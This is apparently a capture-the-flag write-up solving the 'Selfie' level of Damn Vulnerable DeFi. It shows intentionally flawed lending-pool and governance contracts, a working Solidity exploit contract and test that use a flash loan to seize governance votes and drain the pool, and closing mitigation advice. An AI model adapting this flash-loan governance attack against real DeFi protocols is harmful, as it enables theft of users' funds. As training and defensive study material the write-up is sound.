Damn Vulnerable DeFi | 6 - Selfie

Damn Vulnerable DeFi | 6 - Selfie

From Flash to Cash: Exploiting Governance in the Selfie Challenge

ยท

7 min read

Goals

In the Selfie challenge, we simply have to drain all the 1.5 million DVT tokens from the new lending pool. Cool!

See the contracts

The Contracts

Note: I have removed some non-relevant parts for clarity.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "./SimpleGovernance.sol";

contract SelfiePool is ReentrancyGuard, IERC3156FlashLender {
    ERC20Snapshot public immutable token;
    SimpleGovernance public immutable governance;
    bytes32 private constant CALLBACK_SUCCESS =
        keccak256("ERC3156FlashBorrower.onFlashLoan");

    error RepayFailed();
    error CallerNotGovernance();
    error CallbackFailed();

    modifier onlyGovernance() {
        if (msg.sender != address(governance)) revert CallerNotGovernance();
        _;
    }

    constructor(address _token, address _governance) {
        token = ERC20Snapshot(_token);
        governance = SimpleGovernance(_governance);
    }

    function maxFlashLoan(address _token) external view returns (uint256) {
        if (address(token) == _token) return token.balanceOf(address(this));
        return 0;
    }

    function flashLoan(
        IERC3156FlashBorrower _receiver,
        address _token,
        uint256 _amount,
        bytes calldata _data
    ) external nonReentrant returns (bool) {
        if (_token != address(token)) revert UnsupportedCurrency();

        token.transfer(address(_receiver), _amount);
        if (
            _receiver.onFlashLoan(msg.sender, _token, _amount, 0, _data) !=
            CALLBACK_SUCCESS
        ) revert CallbackFailed();

        if (!token.transferFrom(address(_receiver), address(this), _amount))
            revert RepayFailed();

        return true;
    }

    function emergencyExit(address receiver) external onlyGovernance {
        uint256 amount = token.balanceOf(address(this));
        token.transfer(receiver, amount);

        emit FundsDrained(receiver, amount);
    }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../DamnValuableTokenSnapshot.sol";
import "./ISimpleGovernance.sol";

contract SimpleGovernance is ISimpleGovernance {
    uint256 private constant ACTION_DELAY_IN_SECONDS = 2 days;
    DamnValuableTokenSnapshot private _governanceToken;
    uint256 private _actionCounter;
    mapping(uint256 => GovernanceAction) private _actions;

    constructor(address governanceToken) {
        _governanceToken = DamnValuableTokenSnapshot(governanceToken);
        _actionCounter = 1;
    }

    function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId) {
        if (!_hasEnoughVotes(msg.sender))
            revert NotEnoughVotes(msg.sender);

        if (target == address(this))
            revert InvalidTarget();

        if (data.length > 0 && target.code.length == 0)
            revert TargetMustHaveCode();

        actionId = _actionCounter;

        _actions[actionId] = GovernanceAction({
            target: target,
            value: value,
            proposedAt: uint64(block.timestamp),
            executedAt: 0,
            data: data
        });

        unchecked { _actionCounter++; }

        emit ActionQueued(actionId, msg.sender);
    }

    function executeAction(uint256 actionId) external payable returns (bytes memory) {
        if(!_canBeExecuted(actionId))
            revert CannotExecute(actionId);

        GovernanceAction storage actionToExecute = _actions[actionId];
        actionToExecute.executedAt = uint64(block.timestamp);

        emit ActionExecuted(actionId, msg.sender);

        (bool success, bytes memory returndata) = actionToExecute.target.call{value: actionToExecute.value}(actionToExecute.data);
        if (!success) {
            if (returndata.length > 0) {
                assembly {
                    revert(add(0x20, returndata), mload(returndata))
                }
            } else {
                revert ActionFailed(actionId);
            }
        }

        return returndata;
    }

    /**
     * @dev an action can only be executed if:
     * 1) it's never been executed before and
     * 2) enough time has passed since it was first proposed
     */
    function _canBeExecuted(uint256 actionId) private view returns (bool) {
        GovernanceAction memory actionToExecute = _actions[actionId];

        if (actionToExecute.proposedAt == 0) // early exit
            return false;

        uint64 timeDelta;
        unchecked {
            timeDelta = uint64(block.timestamp) - actionToExecute.proposedAt;
        }

        return actionToExecute.executedAt == 0 && timeDelta >= ACTION_DELAY_IN_SECONDS;
    }

    function _hasEnoughVotes(address who) private view returns (bool) {
        uint256 balance = _governanceToken.getBalanceAtLastSnapshot(who);
        uint256 halfTotalSupply = _governanceToken.getTotalSupplyAtLastSnapshot() / 2;
        return balance > halfTotalSupply;
    }
}
  1. The SeliePool is the contract to exploit. It can emit flashloans.

  2. The SimpleGovernance allows to execute some actions on the SelfiePool contract if the proposal passes (has enough votes).

The Hack

When looking at the contracts, something should come to mind pretty fast. A flash loan sounds like a good way to get a lot of votes and approve whatever proposal we want! Let's see if this is possible in this case.

1. The Idea

In the SelfiePool, in addition to the flashLoan() function, there is this function that looks especially fishy:

 function emergencyExit(address receiver) external onlyGovernance {
        uint256 amount = token.balanceOf(address(this));
        token.transfer(receiver, amount);

        emit FundsDrained(receiver, amount);
    }

This seems like a perfect way to drain the contract all at once. With an arbitrary recipient on top of that! Greatm we have a plan. However, you may have noticed the onlyGovernance modifier (it wouldn't be a challenge otherwise).

modifier onlyGovernance() {
        if (msg.sender != address(governance)) revert CallerNotGovernance();
        _;
    }

This modifier requires that the msg.sender is the governance contract. In other words, we have to call this function from the governance contract. This leads back to our idea of taking a flashloan to pass a proposal. A proposal that would trigger the emergencyExit() function... with our address for instance.

2. The execution

Let's see how we could execute our plan concretely. To queue an action, we must have enough votes. This makes sense.

function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId) {
        if (!_hasEnoughVotes(msg.sender))
            revert NotEnoughVotes(msg.sender);
        ...
    }

So how are the votes calculated? Let's check the private function to see if we can manipulate the votes.

function _hasEnoughVotes(address who) private view returns (bool) {
        uint256 balance = _governanceToken.getBalanceAtLastSnapshot(who);
        uint256 halfTotalSupply = _governanceToken.getTotalSupplyAtLastSnapshot() / 2;
        return balance > halfTotalSupply;
    }

To have enough votes, we need to have more than half the supply of tokens. Basically, the votes are calculated based on your token's balance as follows:

  • 1 token == 1 vote.

So a flashloan is indeed a perfect way to get the votes required and queue a proposal! We should have more than enough votes to pass this requirement if we borrow the maxFlashLoan() from the SelfiePool.

Let's see the rest of the function to queue an action:

function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId) {
        //...
        // OK - We won't call this contract
        if (target == address(this))
            revert InvalidTarget();

        // OK - If we pass data, we must call a contract (SelfiePool)
        if (data.length > 0 && target.code.length == 0)
            revert TargetMustHaveCode();

        // OK - We are good to go :)
        actionId = _actionCounter;

        _actions[actionId] = GovernanceAction({
            target: target,
            value: value,
            proposedAt: uint64(block.timestamp),
            executedAt: 0,
            data: data
        });

        unchecked { _actionCounter++; }

        emit ActionQueued(actionId, msg.sender);
    }

So, thanks to the flashloan, we will be able to queue an action on the governance contract. When it will be exectuted, it will call the SelfiePool contract, and the msg.sender will be the SimpleGovernance. That will allow us to trigger the emergencyExit() function and beat the level.

There is just one thing we must remember to do before starting to execute our plan: the ERC20 token has a snapshot mechanism. So in order for the _hasEnoughVotes() to pass, we have to trigger a snapshot right after receiving the loan, otherwise this line won't pass:

uint256 halfTotalSupply = _governanceToken.getTotalSupplyAtLastSnapshot() / 2;

Luckily enough, if you check the DamnValuableTokenSnapshot token contract, the snapshot() function is a public function that anyone can trigger.

function snapshot() public returns (uint256 lastSnapshotId) {
        lastSnapshotId = _snapshot();
        _lastSnapshotId = lastSnapshotId;
    }

So we now have all the pieces we need to solve the Selfie level. Let's put them in order.

Solution

We can implement the contract that will trigger the loan and queue a governance action as follows:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ISimpleGovernance} from "../selfie/ISimpleGovernance.sol";

interface ISelfiePool {
    function flashLoan(
        address _receiver,
        address _token,
        uint256 _amount,
        bytes calldata _data
    ) external returns (bool);

    function emergencyExit(address receiver) external;
}

interface IGovToken {
    function snapshot() external returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

contract Attack6 {
    ISimpleGovernance private immutable simpleGovernance;
    ISelfiePool private immutable selfiePool;
    IGovToken public immutable governanceToken;
    address private immutable player;

    constructor(
        address _simpleGovernance,
        address _selfiePool,
        address _governanceToken,
        address _player
    ) {
        simpleGovernance = ISimpleGovernance(_simpleGovernance);
        selfiePool = ISelfiePool(_selfiePool);
        governanceToken = IGovToken(_governanceToken);
        player = _player;
    }

    function attack() external {
        uint256 amount = governanceToken.balanceOf(address(selfiePool));
        selfiePool.flashLoan(
            address(this),
            address(governanceToken),
            amount,
            ""
        );
    }

    function onFlashLoan(
        address,
        address,
        uint256 amount,
        uint256,
        bytes calldata
    ) external returns (bytes32) {
        governanceToken.snapshot();
        governanceToken.approve(address(selfiePool), amount);

        simpleGovernance.queueAction(
            address(selfiePool),
            0,
            abi.encodeWithSignature("emergencyExit(address)", player)
        );

        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
}

Here is the flow:

  • Request a flashloan of the maximum amount;

  • In the onFlashLoan() callback function, take a snapshot;

  • Then, approve the SelfiePool to grab the token so we can repay the loan (the function would revert otherwise);

  • Queue an action in the governance contract with the emergencyExit(address) as data, and our address as arguments;

  • Return the expected hash to the SelfiePool;

At this point, we will have queued our malicious actions in the governance and repaid the loan. However, to pass the level, we still have to wait for the delay, and then execute the governance action. We will continue the flow in the selfie.challenge.js test file.

it("Execution", async function () {
    /** CODE YOUR SOLUTION HERE */

    const Attack6 = await ethers.getContractFactory("Attack6", deployer);
    const attack6 = await Attack6.deploy(
      governance.address,
      pool.address,
      token.address,
      player.address
    );

    await attack6.attack();

    const twoDaysTime = 2 * 24 * 60 * 60; // Increase time cheat code
    await time.increase(twoDaysTime);

    await governance.executeAction(1);
  });

After increasing the time by two days, we can finally execute the emergencyExit():

await governance.executeAction(1);

Let's run the test with the following command:

yarn selfie

And we get the following printed in the terminal:

Congrats! You just beat the level 6 - Selfie - of Damn Vulnerable DeFi.

๐ŸŽ‰ Level completed ๐ŸŽ‰

Takeaway

Multiple approaches could have been taken to mitigate this exploit:

  • Access control for the snapshot() function;

  • No arbitrary address for the emergencyExit()! Just hardcode an address, and add a function to update the address if needed, with proper access control of course.

  • The votes calculation is far from ideal here. Some guards against tokens received via flash loans could have been implemented.

  • Prefer well-known and battle-tested libraries like OpenZeppelin Governance when possible.


You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions

ย